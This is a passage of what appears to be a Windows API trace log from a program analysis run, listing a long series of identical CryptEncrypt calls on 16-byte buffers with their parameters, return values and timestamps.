pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.692] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.693] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.694] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.695] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.696] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.697] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, 